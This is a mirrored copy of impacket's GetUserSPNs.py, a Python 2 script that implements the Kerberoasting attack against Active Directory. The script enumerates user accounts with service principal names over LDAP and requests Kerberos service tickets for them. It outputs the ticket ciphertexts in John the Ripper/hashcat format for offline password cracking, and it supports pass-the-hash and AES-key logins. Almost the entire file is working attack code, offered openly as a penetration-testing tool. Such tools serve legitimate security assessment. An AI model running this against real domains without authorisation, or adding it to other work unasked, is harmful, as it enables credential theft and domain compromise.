mirror of
https://github.com/fortra/impacket
synced 2026-06-08 14:15:13 +00:00
Jim Shaver
424 lines
19 KiB
Python
Executable File
424 lines
19 KiB
Python
Executable File
#!/usr/bin/env python
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# Copyright (c) 2016 CORE Security Technologies
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#
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# This software is provided under under a slightly modified version
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# of the Apache Software License. See the accompanying LICENSE file
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# for more information.
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#
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# Author:
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# Alberto Solino (@agsolino)
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#
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# Description:
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# This module will try to find Service Principal Names that are associated with normal user account.
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# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request
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# will encrypt the ticket with the account the SPN is running under, this could be used for an offline
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# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
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# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at
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# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
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#
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# Original idea of implementing this in Python belongs to @skelsec and his
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# https://github.com/skelsec/PyKerberoast project
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#
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# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.
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# Also, disabled accounts won't be shown.
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#
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# ToDo:
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# [X] Add the capability for requesting TGS and output them in JtR/hashcat format
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# [ ] Improve the search filter, we have to specify we don't want machine accounts in the answer
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# (play with userAccountControl)
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#
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import argparse
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import logging
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import os
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import sys
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from datetime import datetime
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from binascii import hexlify, unhexlify
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from pyasn1.codec.der import decoder
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from impacket import version
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from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT
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from impacket.examples import logger
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from impacket.krb5 import constants
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from impacket.krb5.asn1 import TGS_REP
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from impacket.krb5.ccache import CCache
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from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
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from impacket.krb5.types import Principal
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from impacket.ldap import ldap, ldapasn1
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from impacket.smbconnection import SMBConnection
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class GetUserSPNs:
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@staticmethod
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def printTable(items, header):
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colLen = []
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for i, col in enumerate(header):
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rowMaxLen = max([len(row[i]) for row in items])
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colLen.append(max(rowMaxLen, len(col)))
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outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
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# Print header
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print outputFormat.format(*header)
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print ' '.join(['-' * itemLen for itemLen in colLen])
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# And now the rows
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for row in items:
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print outputFormat.format(*row)
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def __init__(self, username, password, domain, cmdLineOptions):
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self.options = cmdLineOptions
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self.__username = username
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self.__password = password
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self.__domain = domain
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self.__lmhash = ''
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self.__nthash = ''
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self.__outputFileName = options.outputfile
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self.__aesKey = cmdLineOptions.aesKey
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self.__doKerberos = cmdLineOptions.k
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self.__target = None
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self.__requestTGS = options.request
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self.__kdcHost = cmdLineOptions.dc_ip
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self.__saveTGS = cmdLineOptions.save
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self.__requestUser = cmdLineOptions.request_user
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if cmdLineOptions.hashes is not None:
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self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
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# Create the baseDN
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domainParts = self.__domain.split('.')
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self.baseDN = ''
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for i in domainParts:
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self.baseDN += 'dc=%s,' % i
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# Remove last ','
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self.baseDN = self.baseDN[:-1]
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def getMachineName(self):
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if self.__kdcHost is not None:
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s = SMBConnection(self.__kdcHost, self.__kdcHost)
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else:
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s = SMBConnection(self.__domain, self.__domain)
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try:
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s.login('', '')
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except Exception:
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logging.debug('Error while anonymous logging into %s' % self.__domain)
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s.logoff()
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return s.getServerName()
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@staticmethod
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def getUnixTime(t):
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t -= 116444736000000000
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t /= 10000000
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return t
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def getTGT(self):
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try:
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ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
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except:
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# No cache present
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pass
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else:
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# retrieve user and domain information from CCache file if needed
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if self.__domain == '':
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domain = ccache.principal.realm['data']
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else:
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domain = self.__domain
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logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
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principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
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creds = ccache.getCredential(principal)
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if creds is not None:
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TGT = creds.toTGT()
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logging.debug('Using TGT from cache')
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return TGT
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else:
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logging.debug("No valid credentials found in cache. ")
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# No TGT in cache, request it
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userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
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tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
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unhexlify(self.__lmhash),
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unhexlify(self.__nthash), self.__aesKey,
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kdcHost=self.__kdcHost)
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TGT = {}
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TGT['KDC_REP'] = tgt
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TGT['cipher'] = cipher
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TGT['sessionKey'] = sessionKey
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return TGT
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def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
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decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
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# According to RFC4757 the cipher part is like:
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# struct EDATA {
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# struct HEADER {
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# OCTET Checksum[16];
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# OCTET Confounder[8];
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# } Header;
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# OCTET Data[0];
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# } edata;
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#
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# In short, we're interested in splitting the checksum and the rest of the encrypted data
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#
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if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
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if fd is None:
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print entry
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else:
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fd.write(entry+'\n')
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elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
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if fd is None:
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print entry
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else:
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fd.write(entry+'\n')
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elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
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if fd is None:
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print entry
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else:
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fd.write(entry+'\n')
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elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
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if fd is None:
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print entry
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else:
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fd.write(entry+'\n')
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else:
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logging.error('Skipping %s/%s due to incompatible e-type %d' % (
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decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
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decodedTGS['ticket']['enc-part']['etype']))
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if self.__saveTGS is True:
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# Save the ticket
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logging.debug('About to save TGS for %s' % username)
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ccache = CCache()
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try:
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ccache.fromTGS(tgs, oldSessionKey, sessionKey )
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ccache.saveFile('%s.ccache' % username)
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except Exception, e:
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logging.error(str(e))
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def run(self):
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if self.__doKerberos:
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self.__target = self.getMachineName()
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else:
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if self.__kdcHost is not None:
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self.__target = self.__kdcHost
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else:
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self.__target = self.__domain
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# Connect to LDAP
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try:
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ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
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if self.__doKerberos is not True:
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ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
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else:
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ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
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self.__aesKey, kdcHost=self.__kdcHost)
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except ldap.LDAPSessionError, e:
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if str(e).find('strongerAuthRequired') >= 0:
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# We need to try SSL
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ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
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if self.__doKerberos is not True:
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ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
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else:
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ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
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self.__aesKey, kdcHost=self.__kdcHost)
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else:
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raise
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# Building the search filter
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searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
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"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"
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if self.__requestUser is not None:
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searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
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else:
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searchFilter += ')'
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try:
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resp = ldapConnection.search(searchFilter=searchFilter,
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attributes=['servicePrincipalName', 'sAMAccountName',
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'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
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sizeLimit=999)
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except ldap.LDAPSearchError, e:
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if e.getErrorString().find('sizeLimitExceeded') >= 0:
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logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
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# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
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# paged queries
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resp = e.getAnswers()
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pass
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else:
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raise
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answers = []
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logging.debug('Total of records returned %d' % len(resp))
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for item in resp:
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if isinstance(item, ldapasn1.SearchResultEntry) is not True:
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continue
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mustCommit = False
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sAMAccountName = ''
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memberOf = ''
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SPNs = []
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pwdLastSet = ''
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userAccountControl = 0
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lastLogon = 'N/A'
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try:
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for attribute in item['attributes']:
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if attribute['type'] == 'sAMAccountName':
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if str(attribute['vals'][0]).endswith('$') is False:
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# User Account
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sAMAccountName = str(attribute['vals'][0])
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mustCommit = True
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elif attribute['type'] == 'userAccountControl':
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userAccountControl = str(attribute['vals'][0])
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elif attribute['type'] == 'memberOf':
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memberOf = str(attribute['vals'][0])
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elif attribute['type'] == 'pwdLastSet':
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if str(attribute['vals'][0]) == '0':
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pwdLastSet = '<never>'
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else:
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pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
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elif attribute['type'] == 'lastLogon':
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if str(attribute['vals'][0]) == '0':
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lastLogon = '<never>'
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else:
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lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
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elif attribute['type'] == 'servicePrincipalName':
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for spn in attribute['vals']:
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SPNs.append(str(spn))
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if mustCommit is True:
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if int(userAccountControl) & UF_ACCOUNTDISABLE:
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logging.debug('Bypassing disabled account %s ' % sAMAccountName)
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else:
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for spn in SPNs:
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answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon])
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except Exception, e:
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logging.error('Skipping item, cannot process due to error %s' % str(e))
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pass
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if len(answers)>0:
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self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
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print '\n\n'
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if self.__requestTGS is True or self.__requestUser is not None:
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# Let's get unique user names and a SPN to request a TGS for
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users = dict( (vals[1], vals[0]) for vals in answers)
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# Get a TGT for the current user
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TGT = self.getTGT()
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if self.__outputFileName is not None:
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fd = open(self.__outputFileName, 'w+')
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else:
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fd = None
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for user, SPN in users.iteritems():
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try:
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serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
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tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
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self.__kdcHost,
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TGT['KDC_REP'], TGT['cipher'],
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TGT['sessionKey'])
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self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd)
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except Exception , e:
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logging.error(str(e))
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if fd is not None:
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fd.close()
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else:
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print "No entries found!"
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# Process command-line arguments.
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if __name__ == '__main__':
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# Init the example's logger theme
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logger.init()
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print version.BANNER
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parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running "
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"under a user account")
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parser.add_argument('target', action='store', help='domain/username[:password]')
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parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them '
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'in JtR/hashcat format (default False)')
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parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated '
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'to the user specified (just the username, no domain needed)')
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parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is '
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'<username>.ccache. Auto selects -request')
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parser.add_argument('-outputfile', action='store',
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help='Output filename to write ciphers in JtR/hashcat format')
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parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
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group = parser.add_argument_group('authentication')
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group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
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group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
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group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
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'(KRB5CCNAME) based on target parameters. If valid credentials '
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'cannot be found, it will use the ones specified in the command '
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'line')
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group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
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'(128 or 256 bits)')
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group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
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'ommited it use the domain part (FQDN) '
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'specified in the target parameter')
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if len(sys.argv)==1:
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parser.print_help()
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sys.exit(1)
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options = parser.parse_args()
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if options.debug is True:
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logging.getLogger().setLevel(logging.DEBUG)
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else:
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logging.getLogger().setLevel(logging.INFO)
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import re
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# This is because I'm lazy with regex
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# ToDo: We need to change the regex to fullfil domain/username[:password]
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targetParam = options.target+'@'
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domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
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#In case the password contains '@'
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if '@' in address:
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password = password + '@' + address.rpartition('@')[0]
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address = address.rpartition('@')[2]
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if domain is '':
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logging.critical('Domain should be specified!')
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sys.exit(1)
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if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
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from getpass import getpass
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password = getpass("Password:")
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if options.aesKey is not None:
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options.k = True
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if options.save is True or options.outputfile is not None:
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options.request = True
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try:
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executer = GetUserSPNs(username, password, domain, options)
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executer.run()
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except Exception, e:
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#import traceback
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#print traceback.print_exc()
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print str(e)
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